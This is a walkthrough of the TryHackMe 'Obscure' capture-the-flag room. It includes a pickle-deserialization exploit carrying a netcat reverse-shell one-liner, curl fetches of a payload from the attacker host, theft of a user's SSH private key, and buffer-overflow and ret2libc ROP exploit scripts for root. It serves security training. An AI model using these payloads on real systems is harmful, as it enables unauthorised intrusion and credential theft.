> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/obscure.md).

# Obscure

**Room Link:** <https://tryhackme.com/r/room/obscured>

## **Scans** <a href="#scans" id="scans"></a>

Initial scan

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="/files/Bxq9MY4IxS7HCt5twMKt" alt=""><figcaption></figcaption></figure>

Longer scan

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="/files/iwnm6Y7LGwMDpYNIzxRn" alt=""><figcaption></figcaption></figure>

## **TCP/21 - FTP**

**Kali**

```
ftp $VICTIM 21
Username: anonymous
```

**Kali(ftp)**

```
binary
passive
cd pub
mget *
```

<figure><img src="/files/5HLGuD112Us1zPEIViEe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FYYy3QtFcPvtOAHI7tg9" alt=""><figcaption></figcaption></figure>

**Kali**

```
echo $VICTIM antisoft.thm >> /etc/hosts
cat /etc/hosts
```

We find a function that checks if the password is equal to 971234596, if it is the program gives us the password.

**Kali**

```
ghidra
```

<figure><img src="/files/LNYRaoceT9E4NZ6KRY2e" alt=""><figcaption></figcaption></figure>

**Kali**

```
chmod +x password 
./password
971234596
```

<figure><img src="/files/i1MqcOOLztQQ6zrif0YX" alt=""><figcaption></figcaption></figure>

**Login Credentials**

```
Username: admin@antisoft.thm
Password: SecurePassword123!
```

## Initial Shell <a href="#find-pages" id="find-pages"></a>

exploit: <https://www.exploit-db.com/exploits/44064>

In order to exploit the vulnerability, you should navigate to the Apps page (the link is in the navigation bar at the top and search for and install Database Anonymization in the search bar. We have to deselect the Apps filter in the search bar for it to show up.

<figure><img src="/files/ohDHkfzKc1IKwmTnODyS" alt=""><figcaption></figcaption></figure>

Install Database Anonymization&#x20;

<figure><img src="/files/fcQL5obtqogoZGafXRBh" alt=""><figcaption></figcaption></figure>

Once we have the module installed, we navigate to the settings page and select Anonymize database  under Database anonymization and click on the Anonymize Database button.&#x20;

<figure><img src="/files/rhg4E7eBqoCh3J517jPm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RSXG7aFuQcvBEBiVxv7I" alt=""><figcaption></figcaption></figure>

**exploit.py**

```
import cPickle
import os
import base64
import pickletools

class Exploit(object):
	def __reduce__(self):
		return (os.system, (("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $KALI 1337 >/tmp/f"),))
	

with open("exploit.pickle", "wb") as f:
	cPickle.dump(Exploit(), f, cPickle.HIGHEST_PROTOCOL)
```

**Kali**

```
python2.7 exploit.py
nc -lvnp 1337
```

Next, we refresh the page and navigate to the same page under settings. We upload the exploit.pickle file generated our script and click on Reverse the Database Anonymization button. We should have a reverse shell.

<figure><img src="/files/PokRe0B7PFWtFuaChnBi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/URAFjbdEVDhQPSjYolJy" alt=""><figcaption></figcaption></figure>

**Victim**

```
script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg
```

<figure><img src="/files/gL3Yq2gOm2QO2bKTUHb5" alt=""><figcaption></figcaption></figure>

### Netcat <a href="#netcat" id="netcat"></a>

**Kali(receiving)**

```
nc -l -p 1234 > ret
```

**Victim(sending)**

```
nc -w 3 $KALI 1234 < ret
```

## Lateral Movement #1 <a href="#find-pages" id="find-pages"></a>

**Kali**

```
ghidra
```

<figure><img src="/files/4jLrwrr3ziD0C1iQrsPy" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2HKlyWerZ2Nxjz3J5QjT" alt=""><figcaption></figcaption></figure>

**Kali**

```
cyclic 256
```

**Kali**

```
gdb ret
```

**Kali(gdb)**

```
r
```

<figure><img src="/files/kBOEiaeacYDcRMaJ0MrD" alt=""><figcaption></figcaption></figure>

This tells us it crashes after 136 characters

**Kali**

```
cyclic -l 0x6261616a
```

<figure><img src="/files/UTxRFxyV6evQDfPV38P3" alt=""><figcaption></figcaption></figure>

We see the win function is located at 0x400646

**Kali**

```
objdump -t ret
```

<figure><img src="/files/QIsROEaJHw0Ah3WEWFvw" alt=""><figcaption></figcaption></figure>

Confirmed it crashes after 136.

**Kali**

```
python -c 'print("A"* 137)' | ./ret 
```

<figure><img src="/files/hc9MkF75JqVTcstlbsej" alt=""><figcaption></figcaption></figure>

I wanted to confirm it would crash where we expected so I added the program into a for loop

**payload.py - version 2**&#x20;

```
from pwn import *
import subprocess

for i in range(130, 140):
	payload = b'A'*i + p64(0x400646)
	print ("Current value: " + str(i))

	f = open('/root/payload.bin', 'wb')
	f.write(payload)
	f.close
	os.system("(cat payload.bin; cat) | ./ret")
```

We can see 137 did work on our local box and got us to the win function when adding it's address to the script

**Kali**

```
python payload.py 
```

<figure><img src="/files/cXy8Prp3dWNTpIP2DrD3" alt=""><figcaption></figcaption></figure>

Now to create our payload and send it to the victim

**payload.py - version 2**&#x20;

```
from pwn import *

payload = b'A'*136 + p64(0x400646)

f = open('/root/payload.bin', 'wb')
f.write(payload)
f.close
```

Testing that the payload still works on our local machine.

**Kali**

```
(cat payload.bin; cat) | ./ret
```

<figure><img src="/files/hKH6yParBdYdeAQpkrmS" alt=""><figcaption></figcaption></figure>

**Kali**

```
python2 -m SimpleHTTPServer 82
```

We are root but only within the docker container.

**Victim**

```
cd /tmp
curl http://$KALI:82/payload.bin -o payload.bin
(cat payload.bin; cat) | /ret
```

<figure><img src="/files/gpAKGBToLplwiwm5aAvz" alt=""><figcaption></figcaption></figure>

## Lateral Movement #2 <a href="#find-pages" id="find-pages"></a>

**Victim(root)**

```
ip a
nmap 172.17.0.1
```

<figure><img src="/files/NiNqS8roWuwpBWslJkss" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/rsJJxxHnyrsW0plSbKwC" alt=""><figcaption></figcaption></figure>

**Victim(root)**

```
(cat payload.bin; cat) | nc 172.17.0.1 4444 
```

<figure><img src="/files/b7VC86p0itEc2WeMTB9Y" alt=""><figcaption></figcaption></figure>

**Victim(zeeshan)**

```
sudo -l
```

<figure><img src="/files/jPik1o5xhstb8BtBeKE2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xT2CKBRwpTdm1OpzmRbN" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /home/zeeshan/.ssh/id_rsa
```

<figure><img src="/files/SZXZrojS6ggjWcwhmYGm" alt=""><figcaption></figcaption></figure>

id\_rsa has no password so we can just login without cracking it

**Kali**

```
chmod 600 id_rsa
/opt/john/ssh2john.py id_rsa > id_john.txt
```

<figure><img src="/files/qq1lqmzo9Ew4XDaJhgbN" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**&#x20;

**Kali**

```
scp -i id_rsa zeeshan@$VICTIM:/exploit_me /root/exploit_me
ghidra
```

### &#x20;<a href="#netcat" id="netcat"></a>

<figure><img src="/files/0FDKYSxj6IfROOfWG2ZW" alt=""><figcaption></figcaption></figure>

**Kali**

```
checksec exploit_me
```

<figure><img src="/files/qeUHWK5bNxIQOABvber6" alt=""><figcaption></figcaption></figure>

**Kali**

```
cyclic 256
```

**Kali**

```
gdb exploit_me
```

**Kali(gdb)**

```
r
```

<figure><img src="/files/AbiLPVfba1RlwI6buc41" alt=""><figcaption></figcaption></figure>

**Kali(gdb)**

```
x $rsp
```

<figure><img src="/files/lSOKoUhKwzsgyLhZhr5I" alt=""><figcaption></figcaption></figure>

**Kali**

```
cyclic -l 0x6161616b
```

<figure><img src="/files/eBkGSLplyMcZWdHNHnSF" alt=""><figcaption></figcaption></figure>

### &#x20;<a href="#netcat" id="netcat"></a>

**final.py**

```
from pwn import *

elf = ELF('/root/exploit_me')
elf.address = 0x400000
context.binary = elf
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP([elf])
PUTS_PLT = elf.plt['puts'] 
MAIN_PLT = elf.symbols['main']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]

r = process('/root/exploit_me')

payload = cyclic(40) +   p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

r.sendlineafter('Exploit this binary for root!\n', payload)
leak = int.from_bytes(r.read(6), 'little')
libc.address = leak - libc.symbols['puts'] 
print(hex(leak))

BINSH = next(libc.search(b'/bin/sh')) 
SYSTEM = libc.sym['system']
EXIT = libc.sym['exit']

rop = ROP([libc])
rop.execve(BINSH, 0, 0)
print(rop.dump())
payload = cyclic(40) + rop.chain()

r.sendlineafter('Exploit this binary for root!\n', payload)

r.interactive()
```

**Kali**

```
python final.py
```

<figure><img src="/files/p8q9W5xd7y8PJqAg4dza" alt=""><figcaption></figcaption></figure>

**Victim**

```
ldd /exploit_me 
```

<figure><img src="/files/JCstGPkEqGjQ5vGArrlf" alt=""><figcaption></figcaption></figure>

**Kali**

```
scp -i id_rsa zeeshan@$VICTIM:/lib/x86_64-linux-gnu/libc.so.6 /root/
libc.so.6  
```

**final.py - version 2**

```
from pwn import *

elf = ELF('/root/exploit_me')
elf.address = 0x400000
context.binary = elf
libc = ELF('/root/libc.so.6')
rop = ROP([elf])
PUTS_PLT = elf.plt['puts'] 
MAIN_PLT = elf.symbols['main']
PUTS_GOT = elf.got['puts']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
RET = (rop.find_gadget(['ret']))[0]

s = ssh(user='zeeshan', host='10.10.159.46', keyfile='/root/id_rsa')
r = s.process('/./exploit_me')

payload = cyclic(40) +   p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

r.sendlineafter('Exploit this binary for root!\n', payload)
leak = int.from_bytes(r.read(6), 'little')
libc.address = leak - libc.symbols['puts'] 
print(hex(leak))

BINSH = next(libc.search(b'/bin/sh')) 
SYSTEM = libc.sym['system']
EXIT = libc.sym['exit']

rop = ROP([libc])
rop.execve(BINSH, 0, 0)
print(rop.dump())
payload = cyclic(40) + rop.chain()

r.sendlineafter('Exploit this binary for root!\n', payload)

r.interactive()
```

**Kali**

```
python3 final.py
```

<figure><img src="/files/OEkQbzU1S1W9N9A4LLOo" alt=""><figcaption></figcaption></figure>
